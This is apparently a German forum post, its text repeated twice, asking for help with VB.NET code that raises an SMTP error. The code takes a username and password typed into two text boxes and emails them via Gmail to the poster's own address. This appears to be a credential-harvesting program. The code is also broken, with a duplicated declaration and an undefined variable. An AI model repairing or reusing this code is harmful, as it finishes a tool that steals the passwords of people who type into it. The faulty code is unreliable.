Hallo,
ich das problem wenn ich das wenn ich meine anwendung starte der smtpserver einen error oder sowas hat ...
mein code
Timer1.Start()
If TextBox1.Text = "" Then
MsgBox("....")
If TextBox2.Text = "" Then
MsgBox("....")
Else
End If
End If
Dim smtpServer As New SmtpClient()
Dim smtpServer As New SmtpClient()
Dim mail As New MailMessage()
smtpServer.Credentials = New Net.NetworkCredential("meine mail", "mein passwort")
'using gmail
Smtp_Server.Port = 25 '587
smtpServer.Host = "smtp.gmail.com"
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress("meine mail")
mail.To.Add("meine mail")
mail.Subject = "username: & Textbox.text"
mail.Body = "username : " & TextBox1.Text & ", " & " password :" & TextBox2.Text
smtpServer.Send(mail)
kann mir jemand helfen oder eine lösung sagen
ich das problem wenn ich das wenn ich meine anwendung starte der smtpserver einen error oder sowas hat ...
mein code
Timer1.Start()
If TextBox1.Text = "" Then
MsgBox("....")
If TextBox2.Text = "" Then
MsgBox("....")
Else
End If
End If
Dim smtpServer As New SmtpClient()
Dim smtpServer As New SmtpClient()
Dim mail As New MailMessage()
smtpServer.Credentials = New Net.NetworkCredential("meine mail", "mein passwort")
'using gmail
Smtp_Server.Port = 25 '587
smtpServer.Host = "smtp.gmail.com"
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress("meine mail")
mail.To.Add("meine mail")
mail.Subject = "username: & Textbox.text"
mail.Body = "username : " & TextBox1.Text & ", " & " password :" & TextBox2.Text
smtpServer.Send(mail)
kann mir jemand helfen oder eine lösung sagen